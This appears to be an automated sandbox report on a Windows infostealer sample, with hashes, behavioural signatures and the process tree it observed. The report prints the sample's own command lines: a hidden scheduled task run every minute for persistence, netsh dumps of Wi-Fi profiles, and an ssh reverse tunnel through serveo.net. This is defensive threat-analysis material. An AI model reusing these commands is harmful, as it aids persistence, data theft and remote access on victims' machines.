Analysis
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max time kernel
148s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
21-05-2024 19:41
Static task
static1
Behavioral task
behavioral1
Sample
479d30cd484920e686388641718edc53.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
479d30cd484920e686388641718edc53.exe
Resource
win10v2004-20240508-en
General
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Target
479d30cd484920e686388641718edc53.exe
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Size
120KB
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MD5
479d30cd484920e686388641718edc53
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SHA1
c7040a1893168c204c759280d9671b0b58890c8c
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SHA256
e4385e5feb8e6148b8bd24b5d3f86c9fb5f45c5520bbe7c08c01a8befd1c8601
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SHA512
e499941a4f0f0764ab7493f3f7aa588473409881aa4564a9939cfd60232bd1de672ecfc099d6712fa1eb4da272855f92c95fdf610f688c81894a6258cd3dd51d
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SSDEEP
1536:2Wzd3+6aUp+3aTvjgFnbF/nt6z9b1Caom02vrDxcHtcV/erWEUzny94BgJad:z3av3aTvjv9b1Ch30rDxcHtcV/SquI
Malware Config
Signatures
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Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
479d30cd484920e686388641718edc53.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation 479d30cd484920e686388641718edc53.exe -
Executes dropped EXE 3 IoCs
Processes:
479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exepid process 728 479d30cd484920e686388641718edc53.exe 4220 479d30cd484920e686388641718edc53.exe 3996 479d30cd484920e686388641718edc53.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
479d30cd484920e686388641718edc53.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 479d30cd484920e686388641718edc53.exe Key opened \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 479d30cd484920e686388641718edc53.exe Key opened \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 479d30cd484920e686388641718edc53.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 16 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 792 timeout.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exepid process 728 479d30cd484920e686388641718edc53.exe 728 479d30cd484920e686388641718edc53.exe 728 479d30cd484920e686388641718edc53.exe 728 479d30cd484920e686388641718edc53.exe 3996 479d30cd484920e686388641718edc53.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exedescription pid process Token: SeDebugPrivilege 4872 479d30cd484920e686388641718edc53.exe Token: SeDebugPrivilege 728 479d30cd484920e686388641718edc53.exe Token: SeDebugPrivilege 4220 479d30cd484920e686388641718edc53.exe Token: SeDebugPrivilege 3996 479d30cd484920e686388641718edc53.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
479d30cd484920e686388641718edc53.exe479d30cd484920e686388641718edc53.exepid process 728 479d30cd484920e686388641718edc53.exe 3996 479d30cd484920e686388641718edc53.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
479d30cd484920e686388641718edc53.execmd.exe479d30cd484920e686388641718edc53.execmd.execmd.exedescription pid process target process PID 4872 wrote to memory of 3056 4872 479d30cd484920e686388641718edc53.exe cmd.exe PID 4872 wrote to memory of 3056 4872 479d30cd484920e686388641718edc53.exe cmd.exe PID 3056 wrote to memory of 4392 3056 cmd.exe chcp.com PID 3056 wrote to memory of 4392 3056 cmd.exe chcp.com PID 3056 wrote to memory of 792 3056 cmd.exe timeout.exe PID 3056 wrote to memory of 792 3056 cmd.exe timeout.exe PID 3056 wrote to memory of 4008 3056 cmd.exe schtasks.exe PID 3056 wrote to memory of 4008 3056 cmd.exe schtasks.exe PID 3056 wrote to memory of 728 3056 cmd.exe 479d30cd484920e686388641718edc53.exe PID 3056 wrote to memory of 728 3056 cmd.exe 479d30cd484920e686388641718edc53.exe PID 728 wrote to memory of 1988 728 479d30cd484920e686388641718edc53.exe cmd.exe PID 728 wrote to memory of 1988 728 479d30cd484920e686388641718edc53.exe cmd.exe PID 1988 wrote to memory of 4572 1988 cmd.exe chcp.com PID 1988 wrote to memory of 4572 1988 cmd.exe chcp.com PID 1988 wrote to memory of 744 1988 cmd.exe netsh.exe PID 1988 wrote to memory of 744 1988 cmd.exe netsh.exe PID 1988 wrote to memory of 3984 1988 cmd.exe findstr.exe PID 1988 wrote to memory of 3984 1988 cmd.exe findstr.exe PID 728 wrote to memory of 3208 728 479d30cd484920e686388641718edc53.exe cmd.exe PID 728 wrote to memory of 3208 728 479d30cd484920e686388641718edc53.exe cmd.exe PID 3208 wrote to memory of 3996 3208 cmd.exe chcp.com PID 3208 wrote to memory of 3996 3208 cmd.exe chcp.com PID 3208 wrote to memory of 3200 3208 cmd.exe netsh.exe PID 3208 wrote to memory of 3200 3208 cmd.exe netsh.exe PID 3208 wrote to memory of 3484 3208 cmd.exe findstr.exe PID 3208 wrote to memory of 3484 3208 cmd.exe findstr.exe PID 728 wrote to memory of 3896 728 479d30cd484920e686388641718edc53.exe ssh.exe PID 728 wrote to memory of 3896 728 479d30cd484920e686388641718edc53.exe ssh.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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outlook_office_path 1 IoCs
Processes:
479d30cd484920e686388641718edc53.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 479d30cd484920e686388641718edc53.exe -
outlook_win_path 1 IoCs
Processes:
479d30cd484920e686388641718edc53.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 479d30cd484920e686388641718edc53.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\479d30cd484920e686388641718edc53.exe"C:\Users\Admin\AppData\Local\Temp\479d30cd484920e686388641718edc53.exe"1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4872 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "479d30cd484920e686388641718edc53" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\479d30cd484920e686388641718edc53.exe" &&START "" "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3056 -
C:\Windows\system32\chcp.comchcp 650013⤵PID:4392
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C:\Windows\system32\timeout.exetimeout /t 33⤵
- Delays execution with timeout.exe
PID:792 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "479d30cd484920e686388641718edc53" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
PID:4008 -
C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe"C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:728 -
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"4⤵
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\system32\chcp.comchcp 650015⤵PID:4572
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C:\Windows\system32\netsh.exenetsh wlan show profiles5⤵PID:744
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C:\Windows\system32\findstr.exefindstr /R /C:"[ ]:[ ]"5⤵PID:3984
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"4⤵
- Suspicious use of WriteProcessMemory
PID:3208 -
C:\Windows\system32\chcp.comchcp 650015⤵PID:3996
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C:\Windows\system32\netsh.exenetsh wlan show networks mode=bssid5⤵PID:3200
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C:\Windows\system32\findstr.exefindstr "SSID BSSID Signal"5⤵PID:3484
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C:\Windows\System32\OpenSSH\ssh.exe"ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:5845 serveo.net4⤵PID:3896
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C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exeC:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4220
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C:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exeC:\Users\Admin\AppData\Local\RobloxSecurity\479d30cd484920e686388641718edc53.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3996
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
847B
MD53308a84a40841fab7dfec198b3c31af7
SHA14e7ab6336c0538be5dd7da529c0265b3b6523083
SHA256169bc31a8d1666535977ca170d246a463e6531bb21faab6c48cb4269d9d60b2e
SHA51297521d5fb94efdc836ea2723098a1f26a7589a76af51358eee17292d29c9325baf53ad6b4496c5ca3e208d1c9b9ad6797a370e2ae378072fc68f5d6e8b73b198
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Filesize
120KB
MD5479d30cd484920e686388641718edc53
SHA1c7040a1893168c204c759280d9671b0b58890c8c
SHA256e4385e5feb8e6148b8bd24b5d3f86c9fb5f45c5520bbe7c08c01a8befd1c8601
SHA512e499941a4f0f0764ab7493f3f7aa588473409881aa4564a9939cfd60232bd1de672ecfc099d6712fa1eb4da272855f92c95fdf610f688c81894a6258cd3dd51d
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Filesize
4B
MD5f41ff84e7cbd129397c11f8c5d20c0f4
SHA12e7ace4ae19fe5ab037be4b00c4af208689a5d64
SHA256e254ad19d679ecdad2bb3fe08f1b14ab6ff988679c86f8b3e9ed2b7275dbd522
SHA51253fc60dbde23723eb674e3c5f814259f7a3a16507393d5f4192dd014e8e890d452a7a3f56f4b4074719e6c4585aa6a09e89395e33e2d3ae13563dfe63a1e0510